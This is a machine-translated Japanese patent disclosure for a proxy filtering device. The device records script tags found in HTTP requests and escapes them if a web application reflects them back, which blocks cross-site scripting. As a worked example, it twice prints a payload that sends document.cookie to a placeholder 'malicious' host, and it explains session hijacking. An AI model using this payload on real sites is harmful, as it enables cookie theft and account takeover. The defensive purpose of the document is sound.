JP2005092564A - Filtering device - Google Patents

Abstract

<P>PROBLEM TO BE SOLVED: To remove harmful illegal code remaining in an access response from a server to a client. <P>SOLUTION: This device which filters an access request to a server and the access response based on a preliminarily applied rule is configured to receive the access request, and to store the access request when any illegal code which is harmless for the server, but harmful for a client is included in the access request, and to receive the access response to the access request, and to remove the stored illegal code when the illegal code is remaining in the access response. <P>COPYRIGHT: (C)2005,JPO&NCIPI

Description

  When relaying communication performed between a client and a server that returns a response to the access request from the client, the present invention is included in the access request and remains in the response without being removed by the server The present invention relates to an apparatus for filtering illegal codes.

There is a firewall as a technique for preventing unauthorized access to a Web server published on the Internet. The firewall receives an access request sent to the Web server instead of the Web server, forwards the access request to the Web server if the access request conforms to a predetermined rule, and does not forward otherwise.
One type of such a firewall is to prevent unauthorized access by exploiting the vulnerability of a Web server or a Web application built on the Web server. For example, what was disclosed by Unexamined-Japanese-Patent No. 2002-342279 corresponds to this. This analyzes HTTP (Hyper-Text Transfer Protocol) communication used for communication with a Web server, and detects the presence or absence of unauthorized access in comparison with a known unauthorized access pattern.

On the other hand, currently widely used Web browsers (software on the client side that accesses a Web server) have the ability to execute programs (hereinafter referred to as scripts) created in a script language. Normally, a script is embedded in an HTML (Hyper-Text Markup Language) document and sent from the Web server to the Web browser as a response to an access request to the Web server. The sent script realizes various functions that are impossible with a document described only in HTML. Examples of script languages that can be executed by a Web browser include JavaScript (Java is a registered trademark), VBSscript, and the like. Scripts written in these script languages can access various information related to the embedded HTML document, and can automatically send an access request to the Web server.
JP 2002-342279 A

By the way, one of the vulnerabilities of Web applications is called a cross-site scripting vulnerability. This is a vulnerability in which the script included in the access request fails to be removed by the Web application and is returned in the response to the Web browser. By using this vulnerability, a malicious person can load an unauthorized script into a third party's Web browser and execute the unauthorized script.
In order to send an access request with an illegal script embedded to a third party, a malicious person prepares a trap. For example, a link to a target Web application is provided on his home page. When this link is clicked, an access request including an illegal script is sent to the Web application. When a third party who happens to visit a homepage with a habit is clicking on the link, the third party's web browser sends an access request with an illegal script to the web application. If the Web application fails to remove the malicious script and includes it in the response, the malicious script is executed on the Web browser that received the script.
Many web applications embed a session ID in a part called HTTP cookie in order to identify a communication session with an individual web browser, and exchange with the web browser. When such a web application has the cross-site scripting vulnerability as described above, a malicious person sends an illegal script that reads a cookie and sends it to another web server to the web browser that accessed the web application. The session ID can be stolen. If a stolen session ID is used, a so-called session hijacking attack that illegally accesses a Web application on behalf of the Web browser to which the session ID is originally assigned (user who uses the session ID) can be performed.

The cross-site scripting vulnerability can be prevented if the Web application appropriately removes an illegal script included in the access request from the Web browser and does not include it in the response. However, it is said that there are many web applications having cross-site scripting vulnerabilities due to carelessness of engineers who build web applications and lack of technical capabilities.
The cross-site scripting vulnerability, an attack method using this vulnerability, and a Web site with a Web application having this vulnerability are detailed in the following non-patent documents.
Hiromitsu Takagi et al .: Vulnerability of e-commerce sites against cross-site scripting attacks and countermeasures: IPSJ CSEC 4th Computer Security Symposium (CSS 2001)

As one of methods for protecting a Web application from an attack that exploits the above-mentioned cross-site scripting vulnerability, an access request to the Web application is received instead of the Web application and filtered as in JP-A-2002-342279. A method is conceivable.
For example, if an access request contains “data considered to be invalid”, such as data enclosed in “<SCRIPT>” and “</ SCRIPT>” indicating the existence of a script in an HTML document, It does not have to be transferred to the Web application. However, when the data sent from the user is used as it is as the input of the Web application as in the homepage search service, it may not be filtered first.
When filtering a response from the Web application, the HTML document in the response may include not only the script included in the access request but also a script embedded by the Web application itself. In order to distinguish between them, it is necessary to register information about a script that is not illegal in advance (such as a URI (uniform resource identifier) of the Web page or a position in the Web page) in a filter in some way. However, in order to do this manually, especially on a large-scale Web site, it takes time and there is a risk of omission of registration. In order to automate this registration work, it is difficult to handle Web pages whose contents change according to the contents of the access request.

  Therefore, an object of the present invention is to provide a filtering device having means for removing a predetermined code regarded as fraud from the response by monitoring both an access request to the Web application and a response to the request. To do.

In order to achieve the above object, the filtering device of the present invention relays communication performed between a client and a server that returns an access response to the access request from the client, and stores the fraud stored in the rule table in advance. A filtering device comprising: an IN filter that filters the access request based on a code detection rule; and an OUT filter that filters the access response based on the malicious code detection rule,
The IN filter receives an access request from the client, checks whether the code specified in the illegal code detection rule is included in the access request, and if included, the code is stored in the buffer memory. With means to copy,
The OUT filter receives an access response from the server, checks whether the code corresponding to the code stored in the buffer memory is included in the access response, and if included, It is characterized by comprising means for changing the code based on the processing defined in the illegal code detection rule that detected the code stored in the buffer memory.
The illegal code detection rule is an illegal tag detection rule which is a rule for detecting an illegal tag.
The illegal code detection rule is an illegal tag attribute value detection rule that is a rule for detecting an illegal tag attribute value.
In addition, an interface for updating the illegal code detection rule is provided.

According to the present invention, even if the malicious code included in the access request to the server is not removed by the server and remains in the response to the access request, the malicious code can be removed by the filtering process.
In particular, even if a Web application having a cross-site scripting vulnerability includes an illegal script included in the received HTTP request in the HTTP response, the malicious script is removed by the filtering processing of the present invention, and an HTTP response is received. It is not executed in the Web browser.
The filtering device according to the present invention is a method of adding a star without removing a malicious code included in an access request, and removing the malicious code with the star remaining in a response to the access request. . Therefore, malicious code that is harmless and meaningful to the server but harmful to the client can be removed.
Also, such malicious code must be removed by the server. However, as there are Web applications with cross-site scripting vulnerabilities in the world, malicious code remains in the response due to the carelessness and lack of technical skills of those who develop access request processing and response generation processing. There is. Such a problem can be solved at once by the filtering device of the present invention.
Furthermore, many Web applications embed harmless scripts in HTML documents and send them to clients. Therefore, it is necessary to distinguish such a script from an illegal script included in the HTTP request and erroneously left in the HTTP response. For this distinction, it takes a lot of trouble for the Web application developer to instruct the filtering device for the position of the harmless script in the HTML document and the script itself for each HTML document. In particular, in a dynamically generated HTML document, the script included after generation may be different, and it can be expected that the instruction method becomes complicated. According to the filtering device of the present invention, an illegal code is marked when an access request is received, and removed if it remains in the access response. Therefore, the above-described distinction is automatically performed, and the labor of the server administrator can be saved. The administrator only has to devise some rules for filtering and give them to the filtering device. In addition, the rules shown in the embodiments of the present invention can be commonly used in the world as long as they are widely known, such as cross-site scripting vulnerabilities. As a result of the widespread use of the present invention, Web application developers only obtain the appropriate rules from a reliable person and set them in the filtering device in the same way as obtaining virus definition files for computer virus detection and removal. I will do it.

Hereinafter, embodiments of the present invention will be described in detail with reference to the drawings.
FIG. 1 is a system configuration diagram showing an embodiment of a network system to which a filtering device of the present invention is applied.
In FIG. 1, reference numeral 101 denotes a network through which communication data between computers flows. In this embodiment, HTTP will be described as an example of a communication protocol between computers, but the procedure shown in this embodiment can be applied to other protocols.
Reference numeral 102 denotes a client computer connected to the network 101. A Web browser 103 is operating on the client computer 102. The user operates the Web browser 103 via the client computer 102 and sends an HTTP request to the Web server 105 connected to the network 101.
A server computer 104 operates the Web server 105 and the Web application 106. The web server 105 receives an HTTP request from the web browser 103 and passes it to the web application 106. The Web application 106 performs predetermined processing on the data included in the HTTP request, generates an HTTP response, and passes it to the Web server 105. Then, the web server 105 sends the HTTP response to the web browser 103.
Here, the Web application 106 causes a user operating the Web browser to input a character string using the HTML form function, and receives the character string as an HTTP request. Then, it is assumed that an HTML document to be displayed as it is without checking whether or not an illegal code such as a script is included in the character string, is sent back to the Web browser as an HTTP response. Note that what character string is defined as an invalid code depends on the Web application 106.

It is assumed that the Web application 106 according to the present embodiment searches for data in the Web site using a search character string provided by the user after the user logs in and displays matching items. It is assumed that after the user logs in, the session ID is set in a cookie and is included in subsequent HTTP requests and HTTP responses. FIG. 2 shows an example of an HTML document including a form for allowing a user to input a search character string, and FIG. 3 shows an HTML document that displays a search result.
A character string that the Web application 106 regards as an illegal code is a script.
A filtering apparatus 107 according to the present invention relays communication between the network 101 and the server computer 104. At that time, the IN filter 108 and the OUT filter 109 filter the communication contents based on the malicious code detection rule preset in the rule table 110. Details of the rule table 110 will be described with reference to FIG. 4, and details of the filtering process will be described with reference to FIG.
The rule input / output unit 111 is an interface for referring to and updating the rule table 110 from the outside of the filtering device 107. In this embodiment, the type of interface is not specified, but a combination of an input keyboard and a display for display or a network may be used. Through these interfaces, the administrator of the filtering device 107 adds or updates an illegal code detection rule to the rule table 110.
Note that the search for HTML tags, attribute names, and attribute values shown in this embodiment is not case sensitive.

  FIG. 2 shows an example of an HTML document of an input form when the Web application 106 in this embodiment allows a user to input a search character string. When the user inputs a search character string on the Web browser 103 of the client computer 102 displaying the HTML document and presses the “search” button, the search character string input by the user is included in the HTTP request and sent to the Web application 106. It is done.

  FIG. 3 shows an example of an HTML document generated in order for the Web application 106 in this embodiment to display a search result. Here, for the sake of simplicity, an example is shown in which data that matches the search character string is not found and that character string is displayed. The search character string actually input by the user is displayed in place of “your_search_key” in FIG.

FIG. 4 is a diagram showing details of the rule table 110 in the present embodiment.
Each line except the first line in FIG. 4 is a rule that defines the filtering process of the IN filter 108 and the OUT filter 109. Each column is, in order, (1) rule reference number, (2) specification of illegal code search key (hereinafter abbreviated as “key”), (3) tag name of element that may contain illegal code (same tag_name), (4) The attribute name of the tag (same attr_name) to be examined when the presence / absence of the illegal code cannot be determined only by the tag name, (5) the attribute value (same attr_value), (6) ) Represents a processing method (same action) for detoxifying the discovered malicious code.
The rule table 110 has two types of rules: a rule for detecting an illegal tag and a rule for detecting an illegal tag attribute value.
The content of the rule differs depending on what character string included in the HTTP request or HTTP response is regarded as an illegal code. Each rule shown in FIG. 4 is merely an example.
Note that the first row in FIG. 4 is shown for convenience in order to make it easy to identify the data in each column of the rule table 110 in the description of the present embodiment, and may not be in the actual rule table. Further, in the present embodiment, a group of rule data is referred to as a rule table for convenience, but the actual data format may be an easy-to-handle filter device such as a two-dimensional array or a linked list. In the present invention, such a two-dimensional array and a linked list are collectively referred to as a rule table.
In addition, since the method for inserting illegal codes is newly discovered every day, the actual rule table format and specific rules are not limited to those shown in FIG.

FIG. 5 is a flowchart showing a processing procedure of the filtering device 107 in this embodiment.
The procedure shown here starts when the filtering device 107 receives an HTTP request addressed to the Web server 105 sent via the network 101.
First, in step 501, the filtering device 107 initializes a matched character string buffer that secures an area on the memory. The matching character string buffer is a buffer for passing the processing result of the IN filter 108 to the OUT filter 109. Details thereof will be described with reference to FIG.
Next, in step 502, the filtering device 107 copies the received HTTP request into the internal memory and passes it to the IN filter 108.
Next, in step 503, the IN filter 108 processes the copy of the passed HTTP request in accordance with the rules defined in the rule table 110, and writes the result in the matching character string buffer. Details of this processing will be described with reference to FIG.
Next, in step 504, the filtering device 107 sends the HTTP request received from the web browser 103 to the web server 105 that is the destination.
Next, in step 505, the filtering apparatus 107 waits until receiving an HTTP response that is the processing result of the HTTP request from the Web server 105.
Next, in step 506, after receiving the HTTP response, the filtering device 107 checks whether the processing result of the IN filter 108 exists in the matching character string buffer. That is, it is checked whether the detection result of the code corresponding to the illegal code specified in the illegal code detection rule is stored in the matching character string buffer. If there is no code corresponding to the illegal code, the matching character string buffer is empty. If the code corresponding to the illegal code is stored, the process of step 507 is subsequently performed. If the code is not stored, the process proceeds to step 511.
In step 507, the filtering device 107 copies the HTTP response received from the Web server 105 into the internal memory and passes it to the OUT filter 109.
Next, in step 508, the OUT filter 109 processes a copy of the HTTP response according to the rules defined in the rule table 110, and returns the result to the filtering device 107. Details of this processing will be described with reference to FIG.
Next, in step 509, if the output from the OUT filter 109 is an empty character string, the filtering device 107 proceeds to the process of step 511, otherwise, the process of the next step 510 is performed.
In step 510, the filtering device 107 deletes the held HTTP response and sets the output character string from the OUT filter 109 as an HTTP response that is sent to the Web server 103.
Finally, in step 511, the filtering device 107 sends an HTTP response to the web browser 103.

FIG. 6 is a flowchart showing the processing procedure of the IN filter 108 in this embodiment. This procedure is started when an HTTP request is passed from the filtering device 107. In the example taken up in this procedure, it is assumed that the HTTP request illustrated in FIG. 7 is passed. The form input data included in the HTTP request of FIG. 7 includes a script that, when executed, sends a cookie to http: // malicious /.
First, in step 601, the IN filter 108 retrieves form input data included in the HTTP request. In the example of Fig. 7, the GET method is used, so the form input item name and input character in the query string of the specified URI (after "/ cgi-bin / search?" On the first line in the figure) Contains columns. A form input character string (after “key =”) is extracted from this character string. In the example taken in this procedure, it is the following character string (not including double quotations at both ends).
"Test <script> window.open (" http: //malicious/save.cgi? "+ Escape (document.cookie)) </ script>"
When the POST method is used for transmitting the form, the message input part of the HTML request includes the form input item name and the form input character string. The form input character string can be extracted from this character string in the same manner as in the GET method.

In step 602, the IN filter 108 checks whether all rules in the rule table 110 have been applied to the form input character string. If all are applied, this procedure ends. Otherwise, the procedure proceeds to the next procedure.
In step 603, the IN filter 108 reads the next rule from the rule table 110. In the example taken up in this procedure, first, the rule with the first rule reference number 1 in FIG. 4 is read.
Next, in step 604, the IN filter 108 extracts the data in the key column of the read rule. If tag_name, the process proceeds to step 605, and if it is attr_value, the process proceeds to step 609. The example taken up in this procedure corresponds to the former, and the process proceeds to step 605.
In step 605, the IN filter 108 checks whether an HTML element including the tag name (script, style, img, etc.) specified in the tag_name column of the rule exists in the form input character string. For this purpose, the form input character string is searched by concatenating the character “<” before the tag name. If it exists, the process proceeds to step 606, and if it does not exist, the process returns to step 602. In the example taken up in this procedure, the form input character string in step 601 is searched with the character string “<script”. Since a matching character string is found, the process proceeds to step 606.
In step 606, the IN filter 108 retrieves data in the attr_name column of the rule table 110. If it is an empty character string, since it is determined that the form input character string is an illegal code, the process proceeds to step 608. Otherwise, go to step 607. In the example taken up in this procedure, since the data in the attr_name column is an empty character string, the process proceeds to step 608.

In step 607, the IN filter 108 concatenates the character string of the attr_name column of the rule table 110, the character “=”, and the character string of the attr_value column, and the character string specifying the tag attribute of the tag_name column becomes the user input character. Search for inclusion. If it is included, the form input character string is regarded as an illegal code, and the process proceeds to step order 608. If not included, the process returns to step 602.
Actually, as shown in FIGS. 2 and 3, the tag attribute value is enclosed in double quotation marks (“), and blank characters of arbitrary length (space, tab, line feed, etc.) are placed before and after“ = ”. The tag attribute value must appear after the tag name and before the character “>”, so this point is also included in the search. Consider.

In step 607, the form input character string is given a character string that cannot be determined as an illegal code only by the tag name, and the attribute name and attribute value are assigned to the attr_name column and the attr_value column as in the rule of rule reference number 2 in FIG. It is executed when the specified rule is applied.
For example, a character string including a style tag such as “<style type = text / javascript>... </ Style>” cannot be determined to include an illegal code such as a script only with the tag name. Therefore, it is necessary to search the attribute value as described above.
In step 608, the IN filter 108 adds the form input character string in which the invalid code is found and the rule reference number used for the discovery to the pair as a match character string buffer, and returns to step 602. In the example taken up in this procedure, the matching character string buffer is recorded as shown in FIG.

On the other hand, in step 609, the IN filter 108 searches whether the character string in the attr_value column of the rule table 110 is included in the form input character string. If found, return to step 608, otherwise return to step 602.
Step 609 is processing for finding an illegal tag attribute value which is an illegal code included in the tag attribute value. For example, if a URI including a script such as “javascript:...” Is given to a tag attribute that can specify a URI, the script “...” Is executed. An example of such a tag description is “<img src = javascript:...>”. The rule of rule reference number n in FIG. 4 is for finding such an illegal code.
By the way, the illegal code embedded in the attribute value can be generated by two methods. One is a case where the tag and its attribute are embedded together in the form input character string (for example, “<img src = javascript:...>”) And appear as it is in the HTML document of the HTTP response. The other is that the form input character string is embedded in the tag attribute value by the Web application (for example, "javascript: ..." is replaced with "$" in "<img src = $>"), and the HTML of the HTTP response It appears when it appears in a document.
However, in the latter case, when the form input character string is not handled as an attribute value by the Web application 106 and is included in the HTML document of the HTTP response, the Web browser 103 that has received the HTTP response is not adversely affected. Therefore, it is not possible to determine whether the code is invalid by simply examining the form input character string. Therefore, when the IN filter 108 finds such a character string that may be illegal, it copies the character string to the matching character string buffer (step 608), and determines whether the OUT filter 109 is an illegal code.
For the sake of simplicity in this procedure, the case where there is one form input character string item has been described. If there are a plurality of input data items in the form, each input data item is delimited by the character “&” in the HTTP request and can be easily extracted in step 601. For each input item, the processes in steps 605 to 608 or the processes in steps 609 and 608 are all performed, then the process returns to step 602 to move to the next rule.
Here, in the determination of step 604, the flow branching to step 605 is processing using the illegal tag detection rule, and the flow branching to step 609 is processing using the illegal tag attribute value detection rule.

FIG. 7 is an example of an HTTP request sent from the Web browser 103. The form input data included in the HTTP request includes a script that, when executed, sends a cookie to http: // malicious /. Here, for the sake of simplicity, the fields of the HTTP request header portion that are not necessary for the description of the embodiment are omitted.
FIG. 8 is a matching character string buffer in the present embodiment.
The first column is a rule reference number, the second column is an illegal code (possibly) form input character string (hereinafter referred to as a matching character string), and each row is a set of data.

FIG. 9 is a flowchart showing a processing procedure in the OUT filter 109 in this embodiment.
This procedure is started when a copy of the HTTP response is passed to the OUT filter 109. In the example taken up in this procedure, it is assumed that the HTTP response passed is an HTTP response including an illegal code as shown in FIG. In this HTTP response, a script for sending a cookie to http: // malicious / when executed, which was included in the HTTP request of FIG. 7, remains without being properly escaped by the Web application 106.
First, in step 901, the OUT filter 109 checks whether all entries in the matching character string buffer in FIG. 8 have been checked. If the examination has been completed, the process proceeds to step 909. If the examination has not been completed, the process proceeds to step 902.
In step 902, the OUT filter 109 reads the next entry in the matching character string buffer. In the example of FIG. 8, the first row of data is read.
In step 903, the OUT filter 109 checks whether the matching character string of the entry is included in the HTTP response. If it is included, the process proceeds to step 904, and if it is not included, the process returns to step 901. Since the matching character string is included in the HTTP response shown in the example of FIG.
In step 904, the OUT filter 109 reads the rule with the rule reference number of the entry from the rule table 110. In the example taken up in this procedure, the rule with rule reference number 1 is read from the rule table of FIG.
In step 905, if the key string of the rule is tag_name, the OUT filter 109 regards the matched character string as an illegal code, and proceeds to step 908. If it is attr_value, the process proceeds to step 906. Since it is tag_name in the example taken up in this procedure, the process proceeds to step 908.
In step 906, the OUT filter 109 checks whether a character string in which the character “=” is concatenated with the attr_name column of the rule immediately before the matching character string found in step 903. If it exists, the process proceeds to step 907, and if it does not exist, the process returns to step 901.

The processing in step 906 means searching for an attribute specified by the attr_name column and the attr_value column of the rule. Taking the rule of rule reference number 3 in FIG. 4 as an example, it is checked whether or not the matching character string found in the HTTP response has the attribute designation “img = javascript:”. Actually, as shown in Figs. 2 and 3, the tag attribute value is enclosed in double quotation marks ("), and any length of white space (space, tab, new line, etc.) is included before and after" = ". I will take it into consideration.
In step 907, the OUT filter 109 checks whether a tag start character string composed of a character string obtained by concatenating the character “<” and the tag_name string of the rule exists before the attribute designation character string found in step 906. If it exists, the found attribute designation character string is regarded as an illegal code, and the process proceeds to step 908. If not, the process returns to step 901.
If there is a character “>” from the found attribute designation character string to the tag start character string, the found attribute designation character string is not described in the tag and is not an attribute value. Return. However, since the tag start character string and the character “>” may be included in other attribute values, the tag start character string is searched in consideration of this point.

In step 908, the OUT filter 109 performs the process specified in the action column of the rule for the illegal code, and returns to step 901.
Here, in the determination of step 905, the flow branching to step 908 is processing using the illegal tag detection rule, and the flow branching to step 906 is processing using the illegal tag attribute value detection rule.
In the example taken up in this procedure, the process specified in rule 1 of the first line of the rule table 110 in FIG. 4 is performed, and the script included in the HTTP response is converted to a character string that is not executed as follows: Converted (excluding double quotations at both ends).
“Test &lt; script &gt; window.open (" http: //malicious/save.cgi? "+ Escape (document.cookie)) &lt; / script &gt;”

The processing of the action column shown in the rule table of FIG. 4 has a format of “target: processing, processing,...”. When the target is element, the HTML element of the tag specified in the tag_name column of the rule included in the illegal code is the processing target. When the target is attr, the attribute specified in the attr_name column of the rule included in the illegal code is the processing target. The process {"a", "b"} means replacing the character string "a" with the character string "b", and del means deleting. Therefore, the processing specified by the rule of reference number 1 in FIG. 4 is performed by using “<” in the element “<script>... / Script>” surrounded by script tags as “&lt;” and “>” as “ &gt; ”and“ & ”to“ &amp; ”.
The rule with the same reference number 2 specifies that the same change is made to the element surrounded by the style tag, and the rule with the same reference number 3 specifies that the attribute src in the image tag is deleted.
In step 909, the OUT filter 109 checks whether the HTML document included in the HTTP response has been changed. If changed, the process proceeds to step 910, and if not changed, the process proceeds to step 911. In the example taken up in this procedure, since the HTML document is changed, the process proceeds to step 910.

In step 910, the OUT filter 109 corrects the number of bytes of the HTML document to be embedded in the HTTP response to the number of bytes of the changed HTML document, returns the corrected HTTP response to the filtering device 107, and ends this procedure. In the example taken up in this procedure, the number of bytes of the HTML document is corrected from a8 bytes to b4 bytes in hexadecimal. The corrected HTTP response is as shown in FIG. 11, and the character strings indicated by underlines 1101 to 1103 are changed.
In step 911, the OUT filter 109 returns an empty character string “” to the filtering device 107, and this procedure ends.
In the present embodiment, only the form input items included in the HTTP request are subject to rule application, but other parts, for example, the Referer field in the header part of the HTTP request may be included in the rule application target.

FIG. 10 is an example of an HTTP response passed from the filtering device 107 to the OUT filter 107 in the procedure for executing the OUT filter 109 shown in FIG. Here, the header part of the HTTP response which is not necessary for explanation is omitted. In this HTTP response, a script for sending a cookie to http: // malicious / when executed, which was included in the HTTP request of FIG. 7, remains without being properly escaped by the Web application 106.
FIG. 11 is an HTTP response obtained as a result of executing the execution procedure of the OUT filter 109 shown in FIG. 9 with respect to the HTTP response of FIG. Escape processing is performed so that the script included in FIG. 10 is not executed.

1 is a system configuration diagram showing an embodiment of a network system to which the present invention is applied. It is a figure which shows the example of the HTML document which inputs a search key. It is a figure which shows the example of the HTML document which displays a search result. It is a figure which shows the structural example of a rule table. It is a flowchart which shows the illegal code filtering procedure of a filtering apparatus. It is a flowchart which shows the process sequence of IN filter. It is a figure which shows the example of an HTTP request | requirement. It is a figure which shows the example of the recording content of a matching character string buffer. It is a flowchart which shows the process sequence of OUT filter. It is a figure which shows the example of the HTTP response containing a malicious code. It is a figure which shows the example of the HTTP response from which the malicious code was removed.

Explanation of symbols

DESCRIPTION OF SYMBOLS 101 Network 102 Client computer 103 Web browser 104 Server computer 105 Web server 106 Web application 107 Filtering apparatus 108 IN filter 109 OUT filter 110 Rule table 111 Rule input / output part

Claims (4)

An IN filter that relays communication performed between a client and a server that returns an access response to the access request from the client, and filters the access request based on an illegal code detection rule stored in advance in a rule table; A filtering device comprising an OUT filter for filtering the access response based on the malicious code detection rule,
The IN filter receives an access request from the client, checks whether the code specified in the illegal code detection rule is included in the access request, and if included, the code is stored in the buffer memory. With means to copy,
The OUT filter receives an access response from the server, checks whether the code corresponding to the code stored in the buffer memory is included in the access response, and if included, A filtering apparatus comprising: means for changing a code based on a process defined in an illegal code detection rule that detects a code stored in the buffer memory.   The filtering apparatus according to claim 1, wherein the illegal code detection rule is an illegal tag detection rule that is a rule for detecting an illegal tag.   The filtering apparatus according to claim 1, wherein the illegal code detection rule is an illegal tag attribute value detection rule that is a rule for detecting an illegal tag attribute value.   The filtering apparatus according to claim 1, further comprising an interface for updating the illegal code detection rule.

Images